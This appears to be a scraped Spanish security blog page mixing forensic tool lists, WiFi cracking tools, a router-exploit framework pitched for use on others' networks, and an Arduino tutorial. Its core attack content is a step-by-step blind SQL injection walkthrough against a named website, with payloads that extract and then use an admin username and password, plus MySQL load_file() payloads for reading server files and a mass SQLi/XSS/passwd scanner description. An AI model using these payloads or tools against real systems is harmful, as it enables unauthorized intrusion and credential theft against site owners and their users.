Listado de Herramientas Forenses

8:38 0 Comments A+ a-


  ADQUISICIÓN Y ANÁLISIS DE LA MEMORIA 
Set de utilidades que permite la adquisición de la memoria ram para posteriormente hacer un análisis con ella.
pd Proccess Dumper - Convierte un proceso de la memoria a fichero.
FTK Imager - Permite entre otras cosas adquirir la memoria.
DumpIt - Realiza volcados de memoria a fichero.
Responder CE - Captura la memoria y permite analizarla.
Volatility - Analiza procesos y extrae información util para el analista.
RedLine - Captura la memoria y permite analizarla. Dispone de entrono gráfico.
Memorize - Captura la ram (Windows y OSX).

MONTAJE DE DISCOS

Utilidades para montar imágenes de disco o virtualizar unidades de forma que se tenga acceso al sistema de ficheros para posteriormente analizarla. 

ImDisk - Controlador de disco virtual.
OSFMount - Permite montar imágenes de discos locales en Windows asignando una letra de unidad.

raw2vmdk - Utilidad en java que permite convertir raw/dd a .vmdk

FTK Imager - Comentada anteriormente, permite realizar montaje de discos.
vhdtool - Convertidor de formato raw/dd a .vhd permitiendo el montaje desde el administrador de discos de Windows .
LiveView - Utilidad en java que crea una máquina virtual de VMware partiendo de una imagen de disco.
MountImagePro - Permite montar imágenes de discos locales en Windows asignando una letra de unidad
CARVING Y HERRAMIENTAS DE DISCO 

Recuperación de datos perdidos, borrados, búsqueda de patrones y ficheros con contenido determinado como por ejemplo imágenes, vídeos. Recuperación de particiones y tratamiento de estructuras de discos.

PhotoRec - Muy útil, permite la recuperación de imágenes y vídeo.
Scalpel -Independiente del sistema de archivos. Se puede personalizar los ficheros o directorios a recuperar.
RecoverRS - Recupera urls de acceso a sitios web y ficheros. Realiza carving directamente desde una imágen de disco. 
NTFS Recovery - Permite recuperar datos y discos aún habiendo formateado el disco.
Recuva - Utilidad para la recuperación de ficheros borrados.
Raid Reconstructor - Recuperar datos de un RAID roto, tanto en raid 5 o raid 0. Incluso si no conocemos los parámetros RAID.
CNWrecovery - Recupera sectores corruptos e incorpora utilidades de carving.
Restoration - Utilidad para la recuperación de ficheros borrados.
Rstudio - Recuperación de datos de cualquier sistema de disco NTFS, NTFS5, ReFS, FAT12/16/32, exFAT, HFS/HFS+ (Macintosh), Little y Big Endian en sus distintas variaciones UFS1/UFS2 (FreeBSD/OpenBSD/NetBSD/Solaris) y particiones Ext2/Ext3/Ext4 FS.
Freerecover - Utilidad para la recuperación de ficheros borrados.
DMDE - Admite FAT12/16, FAT32, NTFS, y trabaja bajo Windows 98/ME/2K/XP/Vista/7/8 (GUI y consola), DOS (consola), Linux (Terminal) e incorpora utilidades de carving.
IEF - Internet Evidence Finder Realiza carving sobre una imagen de disco buscando mas de 230 aplicaciones como chat de google, Facebook, IOS, memoria ram, memoria virtual,etc.


Bulk_extractor - Permite extraer datos desde una imagen, carpeta o ficheros.
UTILIDADES PARA EL SISTEMA DE FICHEROS

Conjunto de herramientas para el análisis de datos y ficheros esenciales en la búsqueda de un incidente.

analyzeMFT - David Kovar's utilidad en python que permite extraer la MFT
MFT Extractor- Otra utilidad para la extracción de la MFT 
INDXParse - Herramienta para los indices y fichero $I30.
MFT Tools (mft2csv, LogFileParser, etc.) Conjunto de utilidades para el acceso a la MFT 
MFT_Parser - Extrae y analiza la MFT
Prefetch Parser - Extrae y analiza el directorio prefetch
Winprefectchview - Extrae y analiza el directorio prefetch 

Fileassassin - Desbloquea ficheros bloqueados por los programas

ANÁLISIS DE MALWARE 
PDF Tools de Didier Stevens.
PDFStreamDumper - Esta es una herramienta gratuita para el análisis PDFs maliciosos.
SWF Mastah - Programa en Python que extrae stream SWF de ficheros PDF.
Proccess explorer - Muestra información de los procesos.
Captura BAT - Permite la monitorización de la actividad del sistema o de un ejecutable.
Regshot - Crea snapshots del registro pudiendo comparar los cambios entre ellos
Bintext - Extrae el formato ASCII de un ejecutable o fichero.
LordPE - Herramienta para editar ciertas partes de los ejecutables y volcado de memoria de los procesos ejecutados.
Firebug - Analisis de aplicaciones web.
IDA Pro - Depurador de aplicaciones.
OllyDbg - Desemsamblador y depurador de aplicaciones o procesos.
Jsunpack-n - Emula la funcionalidad del navegador al visitar una URL. Su propósito es la detección de exploits
OfficeMalScanner - Es una herramienta forense cuyo objeto es buscar programas o ficheros maliciosos en Office.
Radare - Framework para el uso de ingeniería inversa.
FileInsight - Framework para el uso de ingeniería inversa.
Volatility Framework con los plugins malfind2 y apihooks.
shellcode2exe - Conversor de shellcodes en binarios.

FRAMEWORKS


Conjunto estandarizado de conceptos, prácticas y criterios en base a el análisis forense de un caso.

PTK Busca ficheros, genera hash, dispone de rainbow tables. Analiza datos de un disco ya montado. 
Log2timeline - Es un marco para la creación automática de un super línea de tiempo.
Plaso - Evolución de Log2timeline. Framework para la creación automática de un super línea de tiempo.

OSForensics - Busca ficheros, genera hash, dispone de rainbow tables. Analiza datos de un disco ya montado.
DFF - Framework con entorno gráfico para el análisis.
SANS SIFT Workstation - Magnifico Appliance de SANS. Lo utilizo muy a menudo.
Autopsy - Muy completo. Reescrito en java totalmente para Windows. Muy útil.
ANÁLISIS DEL REGISTRO DE WINDOWS

Permite obtener datos del registro como usuarios, permisos, ficheros ejecutados, información del sistema, direcciones IP, información de aplicaciones.


RegRipper - Es una aplicación para la extracción, la correlación, y mostrar la información del registro.
WRR - Permite obtener de forma gráfica datos del sistema, usuarios y aplicaciones partiendo del registro.

Shellbag Forensics Análisis de los shellbag de windows.
Registry Decoder - Extrae y realiza correlación aun estando encendida la máquina datos del registro.


HERRAMIENTAS DE RED

Todo lo relacionado con el tráfico de red, en busca de patrones anómalos, malware, conexiones sospechosas, identificación de ataques, etc.

WireShark - Herramienta para la captura y análisis de paquetes de red.
NetworkMiner - Herramienta forense para el descubrimiento de información de red.
Netwitness Investigator - Herramienta forense. La versión 'free edition' está limitado a 1GB de tráfico.
Network Appliance Forensic Toolkit - Conjunto de utilidades para la adquisición y análisis de la red.
Xplico - Extrae todo el contenido de datos de red (archivo pcap o adquisición en tiempo real). Es capaz de extraer todos los correos electrónicos que llevan los protocolos POP y SMTP, y todo el contenido realizado por el protocolo HTTP.
Snort - Detector de intrusos. Permite la captura de paquetes y su análisis.
Splunk - Es el motor para los datos y logs que generan los dispositivos, puestos y servidores. Indexa y aprovecha los datos de las generados por todos los sistemas e infraestructura de IT: ya sea física, virtual o en la nube.
AlientVault - Al igual que Splunk recolecta los datos y logs aplicándoles una capa de inteligencia para la detección de anomalías, intrusiones o fallos en la política de seguridad.
RECUPERACIÓN DE CONTRASEÑAS

Todo lo relacionado con la recuperación de contraseñas en Windows, por fuerza bruta, en formularios, en navegadores.

Ntpwedit - Es un editor de contraseña para los sistemas basados ​​en Windows NT (como Windows 2000, XP, Vista, 7 y 8), se puede cambiar o eliminar las contraseñas de cuentas de sistema local. No valido para Active Directory.
Ntpasswd - Es un editor de contraseña para los sistemas basados ​​en Windows, permite iniciar la utilidad desde un CD-LIVE
pwdump7 - Vuelca los hash. Se ejecuta mediante la extracción de los binarios SAM.
SAMInside / OphCrack / L0phtcrack- Hacen un volcado de los hash. Incluyen diccionarios para ataques por fuerza bruta.


DISPOSITIVOS MÓVILES

Esta sección dispone de un set de utilidades y herramientas para la recuperación de datos y análisis forense de dispositivos móviles. He incluido herramientas comerciales dado que utilizo algunas de ellas y considero que son muy interesantes e importantes.

iPhone

iPhoneBrowser - Accede al sistema de ficheros del iphone desde entorno gráfico.
iPhone Analyzer - Explora la estructura de archivos interna del iphone.
iPhoneBackupExtractor - Extrae ficheros de una copia de seguridad realizada anteriormente.
iPhone Backup Browser - Extrae ficheros de una copia de seguridad realizada anteriormente.
iPhone-Dataprotection - Contiene herramientas para crear un disco RAM forense, realizar fuerza bruta con contraseñas simples (4 dígitos) y descifrar copias de seguridad.
iPBA2 - Accede al sistema de ficheros del iphone desde entorno gráfico.

sPyphone - Explora la estructura de archivos interna.
BlackBerry

Blackberry Desktop Manager - Software de gestión de datos y backups.
Phoneminer - Permite extraer, visualizar y exportar los datos de los archivos de copia de seguridad.
Blackberry Backup Extractor - Permite extraer, visualizar y exportar los datos de los archivos de copia de seguridad.

MagicBerry - Puede leer, convertir y extraer la base de datos IPD.
Android

android-locdump. - Permite obtener la geolocalización.

androguard - Permite obtener, modificar y desensamblar formatos DEX/ODEX/APK/AXML/ARSC
viaforensics - Framework de utilidades para el análisis forense.

Osaf - Framework de utilidades para el análisis forense.
PRODUCTOS COMERCIALES

No podían faltar. Disponer de estas herramientas es una maravilla y un lujo el poder utilizarlas. Rápidas y concisas. Lo peor en alguna de ellas es el precio.
UFED Standard (http://www.cellebrite.com)
Oxygen Forensic (http://www.oxygen-forensic.com)
Mobile Phone Examiner (http://www.accessdata.com)
Device Seizure (http://www.paraben.com)
 
Fuente: conexioninversa.blogspot.com.ar

Routerpwn el framework de exploits para routers

8:24 0 Comments A+ a-



Routerpwn es un único fichero html, por lo tanto portable y que no requiere instalación, para lanzar exploits contra routers que tienen deficiencias  de seguridad en sus paneles de administración web.

Una situación en la que se puede utilizar routerpwn es en aquella en la  tenemos acceso a la red y conectividad con el router, pero no sabemos cómo acceder al propio router en si (o gastar bromitas). Como por ejemplo cuando estamos en un equipo que no es nuestro, un kiosko de Internet o nos hemos conectado a una wifi ya sea abierta o sacado su contraseña con otros métodos.

La lista de routers soportados también es muy amplia he incluye: 2Wire, 3Com, Arris, Asmax, Belkin, Cisco, D-Link, Fibrehome, Huawei,  Motorola, Netgear, Siemens, Thomson,  TRENDnet, UTStarcom y ZyXEL.


y aca la tienen: http://routerpwn.com/

10 consejos para optimizar tu conexion WiFi

8:21 0 Comments A+ a-


Las redes wireless de acceso a Internet se han convertido en una realidad cotidiana en la mayoría de hogares y oficinas. No obstante, el usuario descubre en muchas ocasiones que el servicio contratado no es todo lo veloz o efectivo que debería.

Esto se debe a múltiples factores, que sin embargo pueden evitarse con unas sencillas claves de instalación y consejos de ubicación pensados para optimizar la calidad de la señal o la recepción de los dispositivos inalámbricos. Edimax Technology, fabricante líder de soluciones de red y conectividad, propone diez pasos que pueden aplicarse a todos sus routers y soluciones de red con el fin de optimizar nuestra conexión inalámbrica:

1. Centro de gravedad. La señal wireless de un router es de 360 grados. Se expande en todas direcciones, reduciéndose a medida que aumenta la distancia o se encuentran obstáculos. Así, lo importante es encontrar el centro de gravedad de la sala para situar el punto de acceso WiFi. Es el mismo donde podríamos una radio si quisiéramos escucharla desde todos los puntos.

2. Situar el router en un sitio abierto, lejos del suelo, de ventanas y muros gruesos; nunca dentro de un mueble o rodeado de artefactos metálicos, ya que estos afectan considerablemente a la señal.

3. Evitar interferencias. El router WiFi tiene tres clases de enemigos: los que retienen la señal (paredes, suelo, muebles...); aquéllos que la modifican (principalmente objetos metálicos); y los que la vampirizan (compiten por la señal de nuestro router, y son todos los aparatos inalámbricos que utilicen la frecuencia de 2,4 GHz, como microondas o teléfonos inalámbricos).

4.- La antena. Cuando hay muchos objetos o interferencias en la sala, podemos probar a utilizar una antena de router direccional en lugar de multidireccional. Esto permite orientarla mejor para aprovechar la conexión.

5.- Repetidores. En casos complicados se puede instalar un repetidor -también conocido como amplificador o expansor- para aumentar el radio de cobertura. Se sitúa a mitad de camino entre el router y donde se quiere extender la señal.

6. Mantener el hardware actualizado. Hay que asegurarse de que todos los drivers del router, el firmware de la tarjeta de red y los de PC y Access Point están actualizados. Basta con visitar la web del fabricante y descargar nuevas versiones de software.

7.- Cuidado con los dispositivos Bluetooth. Hay que inhabilitar las conexiones Bluetooth del teléfono, el ratón u otros dispositivos como el mando de la consola Wii mientras no se utilicen, o trasladarlos a otra habitación.

8.- Sintonizar el canal apropiado. Al igual que las emisoras de radio, las antenas WiFi emiten por varios canales. Es bueno probarlos todos hasta encontrar el que tiene menos interferencias y dirigir la tarjeta hacia ese canal.

9.- El último estándar 802.11. Un router que opera con el estándar 802.11g ofrece cuatro veces más potencia (ancho de banda) que si se basa en 802.11b. La tarjeta del PC debe funcionar con el mismo estándar, así que en caso de actualización afecta a ambos dispositivos.

10.- Productos del mismo fabricante. Aunque se pueden utilizar router, tarjetas y Access Point distintos, normalmente se mejora el alcance si son de la misma marca.

Ubicar correctamente el router para evitar interferencias, actualizar el firmware o sintonizar el canal apropiado son simples pasos que, sin mucho esfuerzo ni inversión, mejorarán enormemente el alcance de nuestra red wireless, unos consejos que Edimax recomienda para disfrutar sin trabas de la navegación por la Red.

[WPSCrackGUI] Interfaz gráfica para el crackeo de redes WPS con Reaver

8:33 0 Comments A+ a-

 
WPSCrackGUI es una interfaz gráfica para el crackeo de redes wireless con WPS.

Su uso es bastante fácil e intuitivo, además que está en español.



Características:

Entorno gráfico (GUI) de Crackeo de Cifrado WPS.
Actualización Asistida de Reaver-WPS.
Base de Datos con PIN's.
Cambio de MAC Address.
Soportado en Gt y Gtk.
Escaneo de redes.

Tiene soporte para Debian, Fedora, Mandriva, SLAX, OpenSUSE, Ubuntu y AirUbuntu. Se instala como un simple ejecutable .deb.



MANUAL DE USO http://ufpr.dl.sourceforge.net/project/wpscrackgui/Manual/WPSCrackGUI-UserGUI.pdf


Web del proyecto http://sourceforge.net/projects/wpscrackgui/

Download WPSCrackGUI  http://sourceforge.net/projects/wpscrackgui/files/

Cracker Fern WiFi

8:11 0 Comments A+ a-





Cracker Fern WiFi es una aplicación de auditoría de seguridad inalámbrica que está escrito en Python y usa python-qt4. Esta aplicación utiliza la suite aircrack-ng de herramientas.

Debería funcionar en cualquier versión de Linux ejecutando lo siguiente:

Requisitos:

python
python-qt4
macchanger
aircrack-ng
xterm
subversión

Para las distribuciones Slax, descargar el paquete del módulo con cremallera en la sección de descargas, y siga las instrucciones en el archivo "README".

Para instalarlo simplemente ejecuta el siguiente comando en la terminal después de cambiar el directorio a la ruta se ha descargado el paquete es el siguiente:

root @ host: ~ # dpkg-i Fern-Wifi-Cracker_1.2_all.deb

Iconos y ejecutar la aplicación:

Icono de software se puede encontrar en el menú de la aplicación de las interfaces de escritorio GNOME

El icono también se puede encontrar en / usr / share / applications para KDE y GNOME también:

Allí se encuentra "Fern_Wifi_Cracker.desktop"

Para obtener el código fuente para este proyecto de SVN, aquí está el enlace de compra:

root @ host: ~ # svn checkout http://fern-wifi-cracker.googlecode.com/svn/Fern-Wifi-Cracker/

Imágenes:

Haga clic en el botón Actualizar para visualizar las interfaces de monitor:

Tenga en cuenta, el botón de escaneo es un botón de doble, es decir, haciendo clic en él la primera vez que explora las redes y, a continuación, haga clic en el botón otra vez, impide que cualquier análisis que se ha inicializado (viceversa).

Mientras que el botón "Actualizar" se utiliza para mostrar todo el dispositivo inalámbrico está instalado en el equipo, como parte de su proceso de que se detenga todas las interfaces habilitadas previamente supervisados ​​para evitar interferencias con múltiples monitores ya han empezado.

A continuación, mediante la selección de una tarjeta de interfaz de nuevo en el cuadro combinado, se crea una interfaz de monitor nuevo de la tarjeta de interfaz seleccionado.


WEP habilitada ataque de punto de acceso:


WPA habilitado ataque de punto de acceso:


Claves de descifrado se agregan automáticamente a la base de datos después de un ataque con éxito .. pero también se podría agregar las claves de forma manual. El archivo de base de datos se puede encontrar en / usr / local / bin / Fern-Wifi-Cracker / Base de datos clave / Database.db


Localización geográfica de direcciones Mac de seguimiento


Web Site: http://code.google.com/p/fern-wifi-cracker/

Amazon quiere enviar productos antes de que sean comprados

15:54 0 Comments A+ a-


La empresa basada en Seattle presentó una solicitud de patente para desarrollar un método que les permitirá anticiparse a los pedidos de los clientes.

Una vez más, Amazon volvió a sorprender con sus intentos por mantenerse a la vanguardia. Hace un tiempo fue con su proyecto de usar drones para enviar productos, y ahora la empresa de Jeff Bezos quiere anticiparse a sus usuarios.

Según la patente que fue presentada en Estados Unidos en diciembre, Amazon cree que la demora entre la compra del producto y la entrega del mismo "puede disuadir a los consumidores de que compren mercancías online".

Por eso, la compañía de Bezos quiere embalar y enviar productos que aun no fueron ordenados, pero que esperan que sean consumidos por sus clientes en determinadas áreas.

Es decir, Amazon aprovechará todo el conocimiento que tiene de cada uno de sus usuarios (compras anteriores, búsquedas, listas de favoritos, y hasta el tiempo que el cursor se mantiene sobre un producto determinado) para intentar predecir las acciones de las personas.

De acuerdo a la patente que presentó, la empresa podría anotar en el paquete una dirección parcial o un código postal, datos que serían completados una vez que el producto sea comprado. Además, Amazon podría mostrarles a los usuarios qué ítems están en tránsito para que los clientes que están haciendo compras reciban el producto más rápido.

Pero como toda predicción, la compra que espera la empresa podría no llegar. En ese caso, y para minimizar costos, la compañía podría ofrecer descuentos y hasta "regalar los productos" que ya están en camino para, por lo menos, generar una buena impresión en el cliente.

El gigante del comercio online tiene una red de depósitos en casi todas las principales ciudades de Estados Unidos, lo que implica que entre la compra y la entrega del producto transcurran pocos días.

Sin embargo, Amazon trabaja para lograr que sus ventas lleguen a los usuarios 24 horas después de la orden, y hasta en el mismo día.

Una de las iniciativas para lograr ese objetivo fue presentada a fines de 2013, cuando aseguraron que está en desarrollo un dron que podrá enviar pequeños paquetes directamente desde los grandes depósitos.

Remote File Downloading (RFD) En MySQL

9:14 0 Comments A+ a-


Ciertas veces cuando estamos auditando la base de datos de un servidor web, podemos notar que no encontramos mucha información (solo en algunos casos) solo acerca de almacenamiento y logs de usuarios o secciones del servidor, esto es debido a que muchos de los programadores almacenan y registran datos en ficheros o archivos locales del servidor web tales como la conexión al MySQL, datos generales acerca del funcionamiento de procesos en páginas del sitio, etc.

Para ello, existen varios métodos para la extracción de información en ficheros, pero en está ocasión veremos algo acerca de "RFD" o "Remote file downloading" lo cúal es útil para extraer la source de archivos, en dónde, extraeremos la información mediante funciones de gestores de bases de datos tales como MySQL, Oracle, etc.

1.- ¿Qué es RFD?


RFD vendría siendo un proceso mediante el cúal un atacante sería capaz de descargar ficheros o sources de archivos que se encuentran en un servidor web, tales como la index/página principal, página de contactos, o hasta ficheros con información que puedan corromper toda la seguridad del sitio web.

Un método para ejecutar un proceso de RFD sería mediante gestores de bases de datos, tales como MySQL o oracle, en la que usamos funciones para leer o descargar archivos del servidor web. Pero en este caso, lo veremos con MySQL ya que no estoy muy especializado que se diga con otros gestores.

- MySQL:

En MySQL existe una función la cúal permite el contenido o source de un archivo en un servidor web, pero para poder ejecutar la función es necesario que el usuario MySQL tenga un cierto privilegio, llamado "FILE".

La función se llama "load_file()", por lo tanto, la debemos ingresar en la columna vulnerable, por ejemplo (Union based):

UB (Union based):

"UNION SELECT 1,load_file(0xnombredearchivohex),3,4,5,6 #".

Ese se ejecuta en una SQLi de tipo Union Based.

Blind Boolean Based:

En una Blind Boolean Based, como sabemos, obtenemos los resultados basándonos en valores booleanos, ya sea "true or false" o "verdadero y falso". Por lo tanto, obtendremos uno de los dos resultados.

"and ascii(substring(load_file(0xarchivoenhexadecimal), 1,1)=97"

En este caso, le estoy preguntando al servidor si el primer carácter de la source del archivo codificado en hexadecimal comienza con la letra "a", Este me respondera con un valor true or false.

Autor: M5f3r0

Vuln Hunter 2014 - Website Vulnerability Scanner

8:46 0 Comments A+ a-


Features:

Dork Search
Dorks Included
Custom Dork Search
Live Website Injection Viewer
Live Url Injection Viewer
Live Vulnerability Found Counter
Mass SQLi ((i)Injection) Scanner
Mass XSS Injection Scanner
Mass /etc/passwd Injection Scanner
Single SQLi Scanner
Single XSS Scanner
Single /etc/passwd Scanner
SQLi - Commands, Examples
XSS - Commands, Examples
/etc/passwd - Commands, Examples
Send to SQLi, XSS, etc/passwd Scanner
Save SQLi, XSS, etc/passwd Vulnerabilities
Clear SQLi, XSS, etc/passwd Vulnerabilities
Add, Remove Dork - Dorklist
Decode and Encode Functions Text(ASCii) to:
Text to Base64 - Base64 to Text De-Encode
Text to Binary - Binary to Text De-Encode
Text to Hex - Hex to Text De-Encode
Decimal to Octal - Octal to Decimal



HTTP Basic Authentication, ¿es seguro?

8:19 0 Comments A+ a-


En esta ocasión vengo a hablaros de HTTP Basic Authentication y su seguridad, o inseguridad. Quizás a muchos no es suenen estas palabras, pero quizás con una pequeña captura de pantalla, sepáis de qué vamos a hablar.



Efectivamente, se trata de un sistema de autenticación que se usa en sitios Web para proteger un sitio donde sólo pueden acceder usuarios autorizados, o al menos ese es el objetivo. A continuación veremos algunos ejemplos de por qué no es el mejor sistema para proteger un sitio.

Además de encontrarnos estos sistemas en sitios Web, es muy usual encontrarlos también en accesos a la administración Web de dispositivos de red, como pueden ser switches, puntos de acceso o incluso routers. ¿Habéis probado a poner la dirección IP de vuestro router en el navegador? Efectivamente, os saldrá una ventana similar donde se os solicita el nombre de usuario y contraseña para acceder a la administración Web de vuestro router.

Pero, ¿qué ocurre desde el punto de vista de la seguridad? ¿Y si un atacante intenta acceder a mi router o sitio protegido? ¿Utiliza algún sistema para no permitir intentos ilimitados de conexión? ¿Y si el tráfico es capturado?

En primer lugar tenemos que saber que a nivel de autentificación HTTP hay dos tipos: Basic Authentication y Digest Authenticacion. El primero de ellos es más simple y por lo tanto menos seguro. El sistema Digest es más seguro sobre todo a nivel de posible captura de tráfico, ya que el intercambio de hashes (claves) entre nuestro navegador y el servidor es más complejo.

El ejemplo que aquí vamos a ver está basado en Basic Authentication, que es el más utilizado, por ejemplo en la administración Web de dispositivos de red, como es el caso de nuestros routers.



De la imagen anterior, en la parte inferior, podemos observar que una simple captura de tráfico en la red del usuario que introduce los datos de acceso son fácilmente revelados, por lo tanto aquí tenemos la primera “inseguridad” y es que este sistema no está dotado de un sistema de cifrado fuerta. Se limita sólo a codificarle en Base64 lo cual a día de hoy es muy fácil de descodificar.

La segunda debilidad de este sistema es que al trabajar directamente a nivel del servidor Web, no controla el número de intentos de acceso que se producen, lo que puede dar lugar a que un atacante mediante herramientas de fuerza bruta pueda lanzar una gran cantidad de intentos combinando distintos usuarios y contraseñas hasta intentar conseguir las credenciales correctas.

Veamos cómo con un simple script de Nmap podemos lanzar este ataque y conseguir las credenciales correctas. En este caso, y tal y como hemos podido ver en la captura anterior son admin y 11111 como contraseña.


El script usado es http-brute que viene incluido con Nmap. Además de los argumentos necesarios como es el servidor o sitio Web y la URL (que por motivos de confidencialidad están ocultos) indico un fichero de posibles usuarios y un fichero de posibles contraseñas. Para esto último existe una herramienta para crear nuestro propio diccionario de contraseñas, lo veremos más adelante en otros artículos.

Se observa que el script ha descubiero el usuario y contraseña: admin – 11111

Y todo esto en tan sólo 1,61 segundos!!!

Como siempre, espero que el artículo haya sido de vuestro interés y que sirva para entender que si usamos sistemas de autenticación basados en HTTP Basic Authentication intentemos evitar introducir las credenciales en redes donde el tráfico pueda ser capturado por terceros y que las contraseñas sean fuertes ya que estos sistemas no cuenta con lockout de usuario (bloqueo por exceso de intentos).


Blind SQLi desde cero [SQLi a ciegas]

9:14 0 Comments A+ a-

Introducción:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial está hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

¿Qué es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.
Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net


Como se puede ver, es de alguien que diseña websites, vamos a ver que tal es el servicio que ofrece…
Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: http://www.digitaria.net/noticia.php?id=25


Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.
Lo que debemos hacer es añadirle a la url esto:

AND 1=1    >> Verdadero
AND 1=0    >> Falso


O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25
Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1
Para el caso falso seria: http://www.digitaria.net/noticia.php?id=25 AND 1=0
Veamos como afecta esto en la visualización de la página…
Verdadero:


Falso:


Como se puede ver, el caso falso no carga nada…
Existen variables al AND como lo es el having

Verdadero >> Having 1=1
Falso >> Having 1=0

Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…
Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.
Comencemos…
A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así:

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no


Falso… Debemos seguir probando, hasta que algún nombre que coloquemos de verdadero.
Después de probar varias veces, logre dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.


Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines

En mi caso me dio Verdadero el Segundo caso… Hay menos de 7 admines.


Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1
Me dará Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar


Falso…
Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”


Ahora deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros... Después de probar con varios nombres como password, passwords, clave, etc… llegue al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin)


Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.
Ahora veremos como saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuantos caracteres tiene el user y la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…


Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver… VERDADERO!!


Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña… La inyección es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7
Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.
Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:


Ahí vemos que el 97 corresponde a la letra a.
Seguimos probando, hasta que nos dé Verdadero.
Después de probar un rato, llegue a que comienza con “G”

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71


Para pasar al segundo carácter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12a


Ahora si buscamos el panel de admin y probamos los datos:


Y… Estamos adentrooo!!


Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado útil para aprender la inyección a ciegas.

Autor: ANTRAX

Encender un Foco con Arduino

8:43 0 Comments A+ a-



En este nuevo post vamos a hablar de como hacer funcionar un relé con Arduino, en primer lugar necesitamos saber que un relé es un dispositivo que funciona como un interruptor, permitiendo la activación o des-activación de un circuito eléctrico independiente, es decir, podemos activar aparatos electrónicos de mayor voltaje y gran consumo a través de nuestros microcontroladores (como por ejemplo encender una bombilla que funciona a 220V a través de nuestro microcontrolador).

Yo para este tutorial he empleado unos relés de la casa HUI KE que funcionan a 5V y comprados por ebay a un precio muy reducido, en concreto HUI KE HK4100F-DC5V-SHG, os pongo unas imagenes y las conexiones interiores:


Como podéis ver estos relés son de muy reducido tamaño y perfectos para trabajar con nuestro microcontroladores, ya que funcionan a 5V, sin necesidad de disponer de fuentes externas para activar su bobina. Os dejo el esquema de conexión realizado en Fritzing y un esquemático realizado en Eagle:



